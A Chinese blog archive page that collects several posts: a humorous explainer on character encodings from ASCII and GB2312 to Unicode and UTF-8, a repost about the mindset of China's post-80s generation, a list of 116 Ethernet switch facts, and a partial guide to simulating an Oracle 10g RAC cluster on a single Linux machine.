    他们又把所有的空格、标点符号、数字、大小写字母分别用连续的字节状态表示,一直编到了第127号,这样计算机就可以用不同字节来存储英语的文字了。大家看到这样,都感觉很好,于是大家都把这个方案叫做 ANSI 的"Ascii"编码(American Standard Code for Information Interchange,美国信息互换标准代码)。当时世界上所有的计算机都用同样的ASCII方案来保存英文文字。
    后来,就像建造巴比伦塔一样,世界各地的都开始使用计算机,但是很多国家用的不是英文,他们的字母里有许多是ASCII里没有的,为了可以在计算机保存他们的文字,他们决定采用127号之后的空位来表示这些新的字母、符号,还加入了很多画表格时需要用下到的横线、竖线、交叉等形状,一直把序号编到了最后一个状态255。从128到255这一页的字符集被称"扩展字符集"。从此之后,贪婪的人类再没有新的状态可以用了,美帝国主义可能没有想到还有第三世界国家的人们也希望可以用到计算机吧!
    等中国人们得到计算机时,已经没有可以利用的字节状态来表示汉字,况且有6000多个常用汉字需要保存呢。但是这难不倒智慧的中国人民,我们不客气地把那些127号之后的奇异符号们直接取消掉, 规定:一个小于127的字符的意义与原来相同,但两个大于127的字符连在一起时,就表示一个汉字,前面的一个字节(他称之为高字节)从0xA1用到0xF7,后面一个字节(低字节)从0xA1到0xFE,这样我们就可以组合出大约7000多个简体汉字了。在这些编码里,我们还把数学符号、罗马希腊的字母、日文的假名们都编进去了,连在 ASCII 里本来就有的数字、标点、字母都统统重新编了两个字节长的编码,这就是常说的"全角"字符,而原来在127号以下的那些就叫"半角"字符了。
    中国人民看到这样很不错,于是就把这种汉字方案叫做 "GB2312"。GB2312 是对 ASCII 的中文扩展。
    但是中国的汉字太多了,我们很快就就发现有许多人的人名没有办法在这里打出来,特别是某些很会麻烦别人的国家领导人。于是我们不得不继续把 GB2312 没有用到的码位找出来老实不客气地用上。
    后来还是不够用,于是干脆不再要求低字节一定是127号之后的内码,只要第一个字节是大于127就固定表示这是一个汉字的开始,不管后面跟的是不是扩展字符集里的内容。结果扩展之后的编码方案被称为 GBK 标准,GBK 包括了 GB2312 的所有内容,同时又增加了近20000个新的汉字(包括繁体字)和符号。
    后来少数民族也要用电脑了,于是我们再扩展,又加了几千个新的少数民族的字,GBK 扩成了 GB18030。从此之后,中华民族的文化就可以在计算机时代中传承了。
    中国的程序员们看到这一系列汉字编码的标准是好的,于是通称他们叫做 "DBCS"(Double Byte Charecter Set 双字节字符集)。在DBCS系列标准里,最大的特点是两字节长的汉字字符和一字节长的英文字符并存于同一套编码方案里,因此他们写的程序为了支持中文处理,必须要注意字串里的每一个字节的值,如果这个值是大于127的,那么就认为一个双字节字符集里的字符出现了。那时候凡是受过加持,会编程的计算机僧侣们都要每天念下面这个咒语数百遍:
    "一个汉字算两个英文字符!一个汉字算两个英文字符……"
   
    因为当时各个国家都像中国这样搞出一套自己的编码标准,结果互相之间谁也不懂谁的编码,谁也不支持别人的编码,连大陆和台湾这样只相隔了150海里,使用着同一种语言的兄弟地区,也分别采用了不同的 DBCS 编码方案——当时的中国人想让电脑显示汉字,就必须装上一个"汉字系统",专门用来处理汉字的显示、输入的问题,但是那个台湾的愚昧封建人士写的算命程序就必须加装另一套支持 BIG5 编码的什么"倚天汉字系统"才可以用,装错了字符系统,显示就会乱了套!这怎么办?而且世界民族之林中还有那些一时用不上电脑的穷苦人民,他们的文字又怎么办?
    真是计算机的巴比伦塔命题啊!
    正在这时,大天使加百列及时出现了——一个叫 ISO (国际标谁化组织)的国际组织决定着手解决这个问题。他们采用的方法很简单:废了所有的地区性编码方案,重新搞一个包括了地球上所有文化、所有字母和符号的编码!他们打算叫它"Universal Multiple-Octet Coded Character Set",简称 UCS, 俗称 "UNICODE"。
    UNICODE 开始制订时,计算机的存储器容量极大地发展了,空间再也不成为问题了。于是 ISO 就直接规定必须用两个字节,也就是16位来统一表示所有的字符,对于ascii里的那些“半角”字符,UNICODE 包持其原编码不变,只是将其长度由原来的8位扩展为16位,而其他文化和语言的字符则全部重新统一编码。由于"半角"英文符号只需要用到低8位,所以其高8位永远是0,因此这种大气的方案在保存英文文本时会多浪费一倍的空间。
    这时候,从旧社会里走过来的程序员开始发现一个奇怪的现象:他们的strlen函数靠不住了,一个汉字不再是相当于两个字符了,而是一个!是的,从 UNICODE 开始,无论是半角的英文字母,还是全角的汉字,它们都是统一的"一个字符"!同时,也都是统一的"两个字节",请注意"字符"和"字节"两个术语的不同,“字节”是一个8位的物理存贮单元,而“字符”则是一个文化相关的符号。在UNICODE 中,一个字符就是两个字节。一个汉字算两个英文字符的时代已经快过去了。
    从前多种字符集存在时,那些做多语言软件的公司遇上过很大麻烦,他们为了在不同的国家销售同一套软件,就不得不在区域化软件时也加持那个双字节字符集咒语,不仅要处处小心不要搞错,还要把软件中的文字在不同的字符集中转来转去。UNICODE 对于他们来说是一个很好的一揽子解决方案,于是从 Windows NT 开始,MS 趁机把它们的操作系统改了一遍,把所有的核心代码都改成了用 UNICODE 方式工作的版本,从这时开始,WINDOWS 系统终于无需要加装各种本土语言系统,就可以显示全世界上所有文化的字符了。
    但是,UNICODE 在制订时没有考虑与任何一种现有的编码方案保持兼容,这使得 GBK 与UNICODE 在汉字的内码编排上完全是不一样的,没有一种简单的算术方法可以把文本内容从UNICODE编码和另一种编码进行转换,这种转换必须通过查表来进行。
    如前所述,UNICODE 是用两个字节来表示为一个字符,这就总共可以组合出65535不同的字符,这大概已经可以覆盖世界上所有文化的符号。如果还不够也没有关系,ISO已经准备了UCS-4方案,说简单了就是四个字节来表示一个字符,这样我们就可以组合出21亿个不同的字符出来(最高位有其他用途),这大概可以用到银河联邦成立那一天吧!
   
    UNICODE 来到时,一起到来的还有计算机网络的兴起,UNICODE 如何在网络上传输也是一个必须考虑的问题,于是面向传输的众多 UTF(UCS Transfer Format)标准出现了,顾名思义,UTF8就是每次8个位传输数据,而UTF16就是每次16个位,只不过为了传输时的可靠性,从UNICODE到UTF时并不是直接的对应,而是要过一些算法和规则来转换。
    受到过网络编程加持的计算机僧侣们都知道,在网络里传递信息时有一个很重要的问题,就是对于数据高低位的解读方式,一些计算机是采用低位先发送的方法,例如我们PC机采用的 INTEL 架构,而另一些是采用高位先发送的方式,在网络中交换数据时,为了核对双方对于高低位的认识是否是一致的,采用了一种很简便的方法,就是在文本流的开始时向对方发送一个标志符——如果之后的文本是高位在位,那就发送"FEFF",反之,则发送"FFFE"。不信你可以用二进制方式打开一个UTF-X格式的文件,看看开头两个字节是不是这两个字节?
   
    讲到这里,我们再顺便说说一个很著名的奇怪现象:当你在 windows 的记事本里新建一个文件,输入"联通"两个字之后,保存,关闭,然后再次打开,你会发现这两个字已经消失了,代之的是几个乱码!呵呵,有人说这就是联通之所以拼不过移动的原因。
    其实这是因为GB2312编码与UTF8编码产生了编码冲撞的原因。
    从网上引来一段从UNICODE到UTF8的转换规则:Unicode
 UTF-8
 
0000 - 007F
 0xxxxxxx
 
0080 - 07FF
 110xxxxx 10xxxxxx
 
0800 - FFFF
 1110xxxx 10xxxxxx 10xxxxxx
 
例如"汉"字的Unicode编码是6C49。6C49在0800-FFFF之间,所以要用3字节模板:1110xxxx 10xxxxxx 10xxxxxx。将6C49写成二进制是:0110 1100 0100 1001,将这个比特流按三字节模板的分段方法分为0110 110001 001001,依次代替模板中的x,得到:1110-0110 10-110001 10-001001,即E6 B1 89,这就是其UTF8的编码。
    而当你新建一个文本文件时,记事本的编码默认是ANSI, 如果你在ANSI的编码输入汉字,那么他实际就是GB系列的编码方式,在这种编码下,"联通"的内码是:
    c1 1100 0001
    aa 1010 1010
    cd 1100 1101
    a8 1010 1000
    注意到了吗?第一二个字节、第三四个字节的起始部分的都是"110"和"10",正好与UTF8规则里的两字节模板是一致的,于是再次打开记事本时,记事本就误认为这是一个UTF8编码的文件,让我们把第一个字节的110和第二个字节的10去掉,我们就得到了"00001 101010",再把各位对齐,补上前导的0,就得到了"0000 0000 0110 1010",不好意思,这是UNICODE的006A,也就是小写的字母"j",而之后的两字节用UTF8解码之后是0368,这个字符什么也不是。这就是只有"联通"两个字的文件没有办法在记事本里正常显示的原因。
    而如果你在"联通"之后多输入几个字,其他的字的编码不见得又恰好是110和10开始的字节,这样再次打开时,记事本就不会坚持这是一个utf8编码的文件,而会用ANSI的方式解读之,这时乱码又不出现了。
   
    好了,终于可以回答NICO的问题了,在数据库里,有n前缀的字串类型就是UNICODE类型,这种类型中,固定用两个字节来表示一个字符,无论这个字符是汉字还是英文字母,或是别的什么。
    如果你要测试"abc汉字"这个串的长度,在没有n前缀的数据类型里,这个字串是7个字符的长度,因为一个汉字相当于两个字符。而在有n前缀的数据类型里,同样的测试串长度的函数将会告诉你是5个字符,因为一个汉字就是一个字符。
   
    希望这篇文章是NICO想要的.

有关80后人群的心态、生活状态及社会责任感的讨论

今天在彭雷那里看到他关于豆瓣上ananny发表的牛博网的倒掉与新80时代的到来的一些见解,挺感慨的,多少代表了80后的一拨年轻人的两种群体的心态.84并不过多评论,摘要一部分下来,立此存照.如果朋友们想看到更多网友关于这个话题的讨论或者说是争论,可以到到豆瓣上ananny的原文去看.

下文内容引自彭雷的Blog文章新80后

豆瓣的确是个好网站。好到能听到到很多有趣的声音。当这个社会还在对八十后讨论的津津有味时,新八十后横空出世(作者:ananny)。

抛开ananny的硬伤如在没有调查研究之前就认定牛博被GWF之外,我更感兴趣的是这段:

……我们听到了太多批判的声音……缺乏责任感,自私,……缺乏社会责任感还有那个叫什么历史使命。……我们不关心谁退休谁执政,我们不关心一党制还是多党制,我们对台湾是否统一的关心程度远远不及找工作,买房子,甚至是蓄谋已久的iphone。(原文太长,截取一部分)

是的。已经声名狼藉的“我们”的确可以什么都不关心。我们用着两万块的笔记本电脑,电脑旁放着四千块的手机,耳朵中塞着两千块的iPod,享受着三十一杯的星巴克咖啡和他的无线网络,轻飘飘的在网络上敲下“我们蓄谋已久iPhone”。

我们相比较而言富裕。谁叫我们是城里人,谁叫我们是独生子女。出入高楼大厦,放眼摩登女郎,连出门都要走德国技术的高速公路。不用担心我们要背着沉重的背篓走在这样的山路上,不用担心身居在道路艰险这样的村里,不用担心只有这样漏雨的房屋,不用担心只能靠这些当作主食,不用担心只有这玩意当医药,不用在该读书的时候在干这些,更不用有这样的眼神。

可这个国家偏偏是上面例举的地方居多。 这还算条件好的。这片土地上还有曾经被他祖国遗忘的角落()。

于是,当我们忘记了这所有,却潇洒的挥一挥衣袖,tmd说道:“作为普遍受过教育的80后们,……,我们继承了“老一辈无产阶级革命家”的独立思考之优良品质的同时,更学会了保持安静这样的绅士风度,以便留给他人一片清净的天空。”然后,我们由此感慨,我们并非(亦或者是我们骄傲于)“缺乏责任感,自私,缺乏实践经验,缺乏社会责任感还有那个叫什么历史使命。”

古人说:位卑未敢忘忧国,这一直到了七十年代小凤岗农民还在坚守的信条,到了我们新八十,这身后还有何止八亿人生活的比我们困顿新八十,到这却来一句:“我们不关心”。

ananny说:“不太需要别人把这个社会帖上各种标签show给我们”,却用“新八十时代”把我也套了进去。别。这个圈子我高攀不上,我没这样的绅士风度。

前几日,在高中同学的博客上看到她转载:

我们就这样依靠着父母,年少张狂,意气风发,过着随心所欲的日子,偶尔无病呻吟,把碌碌无为这四个字诠释到淋漓尽致。

羞愧的无以复加,连转载过来的勇气都没有。觉得这说的是我,却发现,这个世界比我更符合的,也有的是。

转自:

13/2/2007

交换机的116个知识点

交换机的116个知识点

1. 以太网最初基于同轴电缆.1972年发明,1979年Xeroxinter和DEC提出DIX版.

2. 1983年,IEEE802.3标准提出.

3. CSMA/CD 通讯过程,传输—监听—干扰—随机等待—传输。

4. 传统以太网用网桥来分割主机,用路由器连接网段。

5. 交换式以太网,平时主机都不连通,当需要通信时,通过交换设备连接对端主机,完成后断开。交换设备包括,交换式集线器和交换机。

6. 交换式以太网物理逻辑均为星型。分割冲突域,将网络冲突限制到最小范围。

7. RMON共九组,常用的端口统计、历史、告警、事件4组。

8. 数据流量区分,按组织行政构成、按主机类型、按物理分布、根据应用类型。

9. 80/20规则,80%在本地,20%其他网段。20/80规则,相反。

10. 交换机单个百兆口64字节包转发1488810pps,路由器整机64字节包转发小与100100pps。

11. 三层交换技术的实现硬件的路由转发,转发路由表也是由软件通过路由协议建立的。

12. 三层交换与路由均为根据逻辑地址确定路径、运行三层校验和、使用TTL、对信息处理和相应,分析报文、用MIB更新SNMP管理。

13. 三层交换优点:基于硬件包转发、低时延、低花费。

14. 四层交换基于数据流,实现一次路由,多次交换。考虑端口号和协议字段。

15. 局域网设计原则,考察物理链路、分析数据流特征、采用层次化模型、考虑冗余

16. 局域网管理系统功能:配置功能、监控功能、故障隔离。

17. 必须保证的网络性能,带宽和时延。其取决的一个重要因素,线缆的类型和布局。

18. 为用户增加带宽,增加总体带宽&减少在一个共享介质上的用户数量。

19. 快速以太网(100M)标准为802.3u。

20. 自协商使用物理芯片来完成,不需要专用的数据报文。发送16bi的报文,整个保文按16ms间隔重复。

21. 速率不通过自协商一样可完成,但工作方式会产生问题。一段强制10m全双工,另一端会自协商为10m半双工。

22. 自协商优先级:100BASE-TX全双工、100BASE-T4、100BASE-TX、10BASE-T全双工、10BASE-T

23. 千兆以太网自协商已经实现,但光纤上的以太网自协商不能成功。

24. 交换机属于MDIX设备,PC为MDI设备。物理芯片实现。

25. 半双工采用后推压力(backpressure)技术实现,流量控制。

26. 全双工流控遵行802.3x标准,采用64字节“PAUSE” MAC帧。该帧采用组播地址01-80-c2-00-00-01。

27. PAUSE应用于终端和交换机之间,不能解决稳定状态的拥塞,端到端的流量控制和比简单停-起更复杂的操作。

28. 端口聚合只适用于802.3协议族的MAC机制。

29. 流控命令 flow-control

30. 配置端口聚合(干路)link-aggregation port_num1 to port_num2

31. 3526可实现3个以太网分组和一个光分组,每组8个。E0/1、e0/9、e0/17、G1/1

32. vlan划分:基于端口、基于mac、基于协议、基于子网

33. 虚拟桥接局域网(VLAN)标准-802.1Q。

34. 802.1Q定义了vlan的架构(MAC帧格式)、所提供的服务、实施中涉及的协议和算法。

35. dot1q标签头包含了2字节标签协议标识(TPID)和两字节标签控制信息(TCL)。TPID固定值0x8100。TCL包括priority、CFI和VLAN ID。

36. 所有具有dot1q的标签头的帧为tagged 帧。

37. GARP通用属性注册协议,其应用为GVRP和GMRP

38. GARP消息有5种,join in、leave、empty、join empty、leave all。

39. GVRP是动态VLAN注册协议,开启为gvrp。

40. GVRP 分3类:normal 可动态创建、注册和注销vlan。Fixed 允许手工创建和注册vlan,防止vlan的注销和其他接口注册此接口所知vlan。 Forbidden 注销除了vlan1以外的所有vlan,禁止在接口上创建和注册其他vlan。

41. PVLAN配置,isolate-user-vlan enable ,建立映射关系后要对接口进行操作必须先解除原来的映射关系。

42. trunk只允许缺省vlan不打标签,hybird允许多个vlan 不打标签通过。

43. 以太网帧长固定,三层交换机采用与路由器最长地址掩码匹配不同的方法-精确地址匹配处理报文。

44. 基于流的交换,第一个报文经过三层处理,其他的进行2次转发。包交换,每个包都要进行三层检查。

45. 802.1D生成树协议,在网桥间传递一种特殊的配置信息BPDU。功能:选择根桥、计算最短路径、选出指定网桥、选择个端口、选择包含在生成树上的端口。

46. BPDU包括:根桥ID、最小路径开销、指定网桥ID、指定端口ID。

47. 网桥ID用网桥优先级和mac地址组合来表示。

48. BPDU采用固定mac地址01-80-c2-00-00-00来作为目的地址。SAP值0x42。

49. 根桥为网桥ID最小的那个。

50. BPDU优先级比较原则:4者依次,最小的为优。

51. 拓扑改变消息包括拓扑改变通知消息、拓扑改变应答消息、拓扑改变消息。

52. STP定时发送的周期为hello time,配置消息生存周期为message age,最大生存周期为max age。

53. 避免临时回路的方法:设置中间状态,阻塞态经过一个forward delay进入中间状态,中间状态经过一个forward delay进入转发态。

54. stp 端口的几种状态:disabled 不收发任何报文。Blocking 不接收和发送数据,接受但 不发送bpdu,不进行地址学习。Listening不接收和发送数据,接受并发送bpdu,不进行地址学习。Learning 不接收或转发数据,接受并发送bpdu,开始地址学习。 Forwarding 接受并转发数据,接受并发送bpdu,学习地址。

55. mac地址表老化时间值大于生成树重新计算所需时间,一盘情况使用较长值15min,生成树重新计算后使用较短的缓冲区超时值。

56. 快速生成树改进:1. 若旧的根端口已经阻塞,新的根端口连接网段的指定端口正好处于转发态,那新的根端口可无延时进入转发。2. 等待进入转发的指定非边缘接口向下游发送一个握手报文,下游若回应赞同,则此接口无延时进入转发。握手必须在点对点链路中,会向下传递握手直到网络边缘。 3. 边缘接口无时延进入转发。

57. 点对点链路,1.为聚合链路。2. 端口自协商在全双工模式。3. 端口被配置为全双工。

58. STP与RSTP区别:协议版本不同、端口状态转换方式不同、配置消息报文格式不同、拓扑改变消息传播方式不同。
59. RSTP也是单生成树实例,网络直径最好不要超过7。

60. STP可配参数,网桥优先级32768 步长4096、端口优先级128 步长16、路径开销2w、hellotime 2s/max age 20s/forward delay 15s、交换网络直径7。

61. STP 可debug error、packet、event。

62. 组播向一组主机发送消息,存在于某个组的所有主机都可接受到消息。组播源只发送一份数据报,杂需要复制的地方会被复制分发,每个网段内都保持有一分数据流。

63. 组播应用,多媒体会议、数据分发、实时数据组播、游戏与仿真。

64. 组播优势在与提高效率、优化性能和分布式应用。

65. 组播基于udp、尽最大努力传送、无阻塞控制、数据报重复和无序缴付。

66. 组成员关系协议为主机与路由器间包括IGMP。

67. 组播路由协议为路由器与路由器之间包括域内组播路由协议和域间组播路由协议。

68. 域内组播密集型 DVMRP 、PIM-DM 、MOSPF。

69. 域内组播稀疏性 CBT、PIM-SM。

70. 二层组播协议,IGMP snooping、HGMP、HMVR、RGMP、GMRP等。常用的为IGMP snooping。

71. 组播地址224.0.0.0 到239.255.255.255。保留组播224.0.0.0 到 224.0.0.255。本地管理组地址239.0.0.0到239.255.255.255. 用户组播地址224.0.1到238.255.255.255.

72. 组播mac前三位01-00-5e,后面三位为ip地址后三位10进制转成16进制。

73. 224.0.0.1全体用户,224.0.0.2全体路由器,224.0.0.13全体pim路由器。

74. 组播转发采用RPF(逆向路径转发),查找组播报是否是从连接相应源地址的接口上转发而来的。而对源地址的检查是通过查询单模路由表来实现的。

75. 二层交换机组播功能实现:目的地址为组播mac,端口包含所有接受组播数据的主机端口。

76. IGMP V1 RFC1112、IGMP V2 RFC2236。

77. IGMP当中,路由器定时发送普通查询消息,根据组成员发送的关系报告来确定特定组是否由主机存在。当主机想加入组,主动发送组成员关系报告。当主机要离开组时,如果他是组内的最后一个成员则发送离开组消息,若不是则安静的离开。在一定时间内路由器没收到该组的报告,则删除组。

78. IGMP当有多个组播路由器时选择查询器,ip最小的为查询器。

79. IGMP报告抑制,主机受到查询消息并不立即发送响应报告,随机等待一段时间发送,若在等待当中该组有一个成员发送响应报告了,则就不再发送响应报告。

80. IGMP消息有三种,0x11 组播组查询、0x16 版本二组播组查询报告 0x17 表示离开组播组、0x12 表示版本1组播组报告

81. IGMP消息封装在IP报文内,协议号为2

82. IGMP v2与v1兼容,自动变为v1。

83. 解决2层交换机实现组播功能的办法,IGMP监听,针对ipv4,作好用IGMP snooping来避免不必要的组播泛滥。

84. 启动组播 multicast routing-enable

85. 协议无关多播PIM UDP端口号103 组播地址224.0.0.13

86. PIM-DM 密集模式,默认所有接口上都有接收者。扩散-减枝-嫁接。

87. 断言机制(assert)当路由器受到其他路由器发来的重复组播数据时,向其发出断言消息,含有本路由器优先级、到源的路径开销、IP地址等信息,到对端比较:优先级低、路由开销小、ip地址大的获胜。本端获胜,对方减枝。

88. 周期性发送hello报文到所有PIM路由器,通过hello报文比较,优先级低的为DR,优先级相同IP地址大的获胜。

89. 启动PIM-DM,在每个vlan接口上起pim dm。

90. PIM-SM稀疏模式,默认没有接受者,所有数据由源发向RP再由RP向网络中转发。SM转发项依靠主机和RPF下游显式发送加入消息建立起来。

91. 组播分发树包括最短路径树SPT和汇接点树RPT。切换由最后一跳DR发起,常用流量统计来决定是否切换。

92. ACL主要用途:包过滤、报文监控、景像、流量限制CAR、流量统计、分配对列优先级。

93. 二层流分类根据帧的数据类型、源/目的mac、封装格式、vlan id、出/入端口。

94. 三/四层流分类根结协议类型、源/目的ip、源/目的端口号、dscp。

95. 配置时间段 time-range

96. ACL 1-99基本 100-199 高级 1000-1999 接口 200-299 基于二层的

97. eq 等于gt 大于 it 小于 neq 不等于 range 介于

98. 匹配 auto 深度优先 数据报范围最小的语句排在最前。 Config 按用户配置顺序。

99. 激活ACL firewall enable packet-filter

100. 802.1x基于端口的网络接入控制协议包括用户接入设备、接入控制单元、认证服务器。

101. EAP报文四种消息 1 request 2 response 3 success 4 failure

102. EAP type字段固定为88-8E

103. 802.1x非受控端口传递EAP认证报文,受控端口传递业务报文,只有在通过认证后才会切换到授权状态。状态有:forceAuthorized 一直维持授权状态 ForceUnauthorized 长关模式 Auto 协议控制模式

104. 端口受控方式 基于端口(一人过,全过) 基于MAC 基于VLAN

105. 802.1x配置 dot1q

106. QoS quality of service 服务质量

107. 交换QoS优先级标记 流量监管 CAR 端口限速 LR 对列调度

108. IP优先级在报文头部TOS域前3bit 取值0-7 802.1P优先级在802.1Q帧头标签的TCL中的priory,3bit 取值0-7。

109. 流量监管CAR,使用令牌桶,在输入端口对特定业务流进行监管。CAR在IP层实现。

110. traffic-limit 3526没有定义方向,根据ACL来区分。3526E只定义了in方向。

111. 端口限速LR,也基于令牌桶,处理二层以下。Line-rate只有3526E支持。

112. 3000系列分4个优先队列,3026只支持high和low两个对列。

113. 优先级与队列映射 0-1 1-2 2-2 3-2 4-3 5-3 6-4 7-4。

114. 严格优先调度,先走高的,在走低的。

115. 加权轮循调度 高低的根据比例走。

116. 带最大时延的加权轮循调度 高低根据比例,若等待maxdelay后,高的抢占传输。

在linux上单机模拟Oracle 10g RAC集群(OCFS+ASM)

在linux上单机模拟Oracle 10g RAC集群(OCFS+ASM)

本想做个安装记录,把遇到的错误和解决办法写下来,以备以后操作时参考,但在写的过程中阴错阳差地对付着把系统装上了,所以就当个安装说明吧,不过其中还有个错误(在下面有记录),感觉应该对使用有影响,所以以后还要想办法修正。这个就当个初稿吧。
一、简介
熟悉 Oracle 真正应用集群 (RAC) 10g 技术的最有效方法之一是访问一个实际的 Oracle RAC 10g 集群。没有什么方法比直接体验它们能够更好地理解其好处的了 — 包括容错、安全性、负载均衡和可伸缩性。
Oracle RAC 的核心是共享磁盘子系统。集群中的所有节点必须能够访问集群中所有节点的所有数据、重做日志文件、控制文件和参数文件。数据磁盘必须在全局范围内可用,以便允许所有节点访问数据库。每个节点拥有自己的重做日志和控制文件,但是其他节点必须能够访问这些文件,以便在系统故障时恢复该节点。
希望本文能对一些手头上只有一台PC而没有真正的双机环境的朋友提供一个参考。
二、本文实践环境
1、PC主要配置:
Dell OptiPlex 170L Series
Intel(R) Pentium(R) 4 CPU 2.80GHz
DISK drive 80G
网卡 一块
内存 DDR 512MB
显示卡:intel 865
操作系统:Redhat Enterprise Linux 4 u2
数据库 oracle10.2.0.
2、服务器分区方案
RAC节点名 实例名 数据库名 $ORACLE_BASE 文件系统
dbrac orcl1 orcl /home/oracle ASM
Oracle CRS 共享文件
文件类型 文件名 分区 挂载点 文件系统
oracle集群注册表 /u01/orcl/orcfile /dev/hda11 /u01 OCFS
CRS表决磁盘 /u01/orcl/cssfile /dev/hda11 /u01 OCFS
3、所涉及软件
1)oracle 10g 数据库软件
10201_database_linux32.zip (从otn.oracle.com下载)
2)oracle 10g 集群服务软件
10201_clusterware_linux32.zip (从otn.oracle.com下载)
3)OCFS文件系统支持
ocfs2-2.6.9-22.EL-1.2.1-1.i686.rpm (http://oss.oracle.com/projects/ocfs....2.1-1.i686.rpm)
ocfs2-tools-1.2.1-1.i386.rpm (http://oss.oracle.com/projects/ocfs....2.1-1.i386.rpm)
ocfs2console-1.2.1-1.i386.rpm (http://oss.oracle.com/projects/ocfs....2.1-1.i386.rpm)
4)ASMlib驱动程序
oracleasm-2.6.9-22.EL-2.0.2-1.i686.rpm (http://www.oracle.com/technology/so....0.2-1.i686.rpm)
oracleasm-support-2.0.2-1.i386.rpm (http://www.oracle.com/technology/so....0.2-1.i386.rpm)
oracleasmlib-2.0.2-1.i386.rpm (http://www.oracle.com/technology/so....0.2-1.i386.rpm)
以上软件包均可以从oracle官方网站下载
三、基础操作
1、安装linux
安装过程中一些需要注意的地方:
1)磁盘分区:swap分区大小建议是内存的2倍,这里是1024MB,划出一些系统必要的分区根分区/,var分区/var,usr分区/usr, home分区/home,临时文件分区/tmp。注意:这里不要把所有的硬盘空间划分进操作系统,留下一半给后面安装oarcle集群磁盘使用,本文示例
2)文件系统 容量 挂载点
/dev/hda8 2000M /
/dev/hda1 100M /boot
/dev/hda2 10000M /data
/dev/hda5 8000M /home
/dev/hda7 2000M /opt
/dev/hda9 1000M /tmp
/dev/hda3 8000M /usr
/dev/hda6 4000M /var
3)组件选取:一定要选上delvelopment tools和X-windows两项,为了节省空间其他可以不要
4)防火墙:最好不要
5)网络设置:eth0
取消选中 [Configure using DHCP] 复选项
选中 [Activate on boot]
IP 地址:10.15.0.14
网络掩码: 255.255.255.0
6)主机名:dbrac
2、.安装完成后检查必需的 RPM
3、必须安装以下程序包(或更高版本):(我安装时都装了,所以也没有检查以下的包)
make-3.79.1
gcc-3.2.3-34
glibc-2.3.2-95.20
glibc-devel-2.3.2-95.20
glibc-headers-2.3.2-95.20
glibc-kernheaders-2.4-8.34
cpp-3.2.3-34
compat-db-4.0.14-5
compat-gcc-7.3-2.96.128
compat-gcc-c++-7.3-2.96.128
compat-libstdc++-7.3-2.96.128
compat-libstdc++-devel-7.3-2.96.128
openmotif-2.2.2-16
setarch-1.3-1
四、设置
1、更改/etc/hosts
vi /etc/hosts
127.0.0.1 localhost.localdomain localhost
10.15.0.14 dbrac int-dbrac
10.15.0.13 vip-dbrac
此处设置相当重要,不能跳过,一定按照此设置,IP和主机别名可以自己定
oracle 10g RAC中 使用了虚拟IP(VIP)技术,这是一个令人心动的高可用性、多机无缝切换的解决方案,但在单机模拟环境中仅仅是个形式而已,为了以后的顺利安装,不得不配置它
确保RAC节点名没有出现在回送地址中
根据网上的安装方案是这样做的,但我试了几次都有问题,总报dbrac已被选用,所以我用的是如下的设置
127.0.0.1 localhost.localdomain localhost
10.15.0.14 dbrac
10.15.0.15 int-dbrac
10.15.0.13 vip-dbrac
我配置了eth0:1为10.15.0.15
2、调整内核网络设置参数
编辑/etc/sysctl.conf,增加下面的设置:
vi /etc/sysctl.conf
在末尾增加
kernel.shmall = 2097152
kernel.shmmax = 2147483648
kernel.shmmni = 4096
kernel.sem = 250 32000 100 128
fs.file-max = 65536
net.ipv4.ip_local_port_range = 1024 65000
net.core.rmem_default = 262144
net.core.rmem_max = 262144
net.core.wmem_default = 262144
net.core.wmem_max = 262144
Note: You need reboot system or execute "sysctl -p" command to apply above settings.

Edit the /etc/pam.d/login file and add following line:
session required /lib/security/pam_limits.so

Edit the /etc/security/limits.conf file and add following lines:
oracle soft nproc 2047
oracle hard nproc 16384
oracle soft nofile 1024
oracle hard nofile 65536

3、添加模块选项:
将下列行添加到 /etc/modprobe.conf 中:
options sbp2 sbp2_exclusive_login=0
4、创建“oracle”用户和目录
$su -
#groupadd dba
#useradd -g dba oracle
#passwd oracle
5、编辑.bash_profile文件,增加oracle环境变量
$vi .bash_profile
ORACLE_BASE=/data/oracle;export ORACLE_BASE
export ORACLE_HOME=$ORACLE_BASE/product/10.2.0/db_1
export ORA_CRS_HOME=$ORACLE_BASE/product/10.2.0/crs_1
export ORACLE_SID=orcl1
export NLS_LANG='SIMPLIFIED CHINESE_CHINA.ZHS16GBK'
PATH=$ORACLE_HOME/bin:/bin:/sbin:/usr/bin:/usr/ccs/bin:/usr/local/bin:/usr/ucb;export PATH
LD_LIBRARY_PATH=$ORACLE_HOME/lib:$ORACLE_HOME/network/lib:$ORACLE_HOME/oracm/lib:/usr/local/lib:/usr/lib;export LD_LIBRARY_PATH
export ORACLE_TERM=xterm
export CLASSPATH=$ORACLE_HOME/JRE:$ORACLE_HOME/jlib:$ORACLE_HOME/rdbms/jlib:$ORACLE_HOME/rdbms/jlib:$ORACLE_HOME/network/jlib
export THREADS_FLAG=native
export TEMP=/tmp
export TMPDIR=/tmp
这里也主要用的网上的说明,感觉这么多参数实在是没必要
6、创建CRS分区和数据文件分区
1)先建立CRS分区挂载点
mkdir /u01
chown oracle:dba /u01
2)接着创建CRS分区和共享数据文件分区
fdisk /dev/hda
CRS分区只要500M就够了,剩下的全部划分给数据文件分区,这里为数据文件只分了1个区/dev/hda12
CRS分区为/dev/hda11
[root@dbrac /]# fdisk /dev/hda

The number of cylinders for this disk is set to 9726.
There is nothing wrong with that, but this is larger than 1024,
and could in certain setups cause problems with:
1) software that runs at boot time (e.g., old versions of LILO)
2) booting and partitioning software from other OSs
(e.g., DOS FDISK, OS/2 FDISK)

Command (m for help): p

Disk /dev/hda: 80.0 GB, 80000000000 bytes
255 heads, 63 sectors/track, 9726 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes

Device Boot Start End Blocks Id System
/dev/hda1 * 1 13 104391 83 Linux
/dev/hda2 14 1288 10241437+ 83 Linux
/dev/hda3 1289 2308 8193150 83 Linux
/dev/hda4 2309 9726 59585085 5 Extended
/dev/hda5 2309 3328 8193118+ 83 Linux
/dev/hda6 3329 3838 4096543+ 83 Linux
/dev/hda7 3839 4093 2048256 83 Linux
/dev/hda8 4094 4348 2048256 83 Linux
/dev/hda9 4349 4475 1020096 82 Linux swap
/dev/hda10 4476 4602 1020096 83 Linux
Command (m for help): n
First cylinder (4603-9726, default 4603):
Using default value 4603
Last cylinder or +size or +sizeM or +sizeK (4603-9726, default 9726): +500M

Command (m for help): n
First cylinder (4665-9726, default 4665):
Using default value 4665
Last cylinder or +size or +sizeM or +sizeK (4665-9726, default 9726):
Using default value 9726

Command (m for help): p

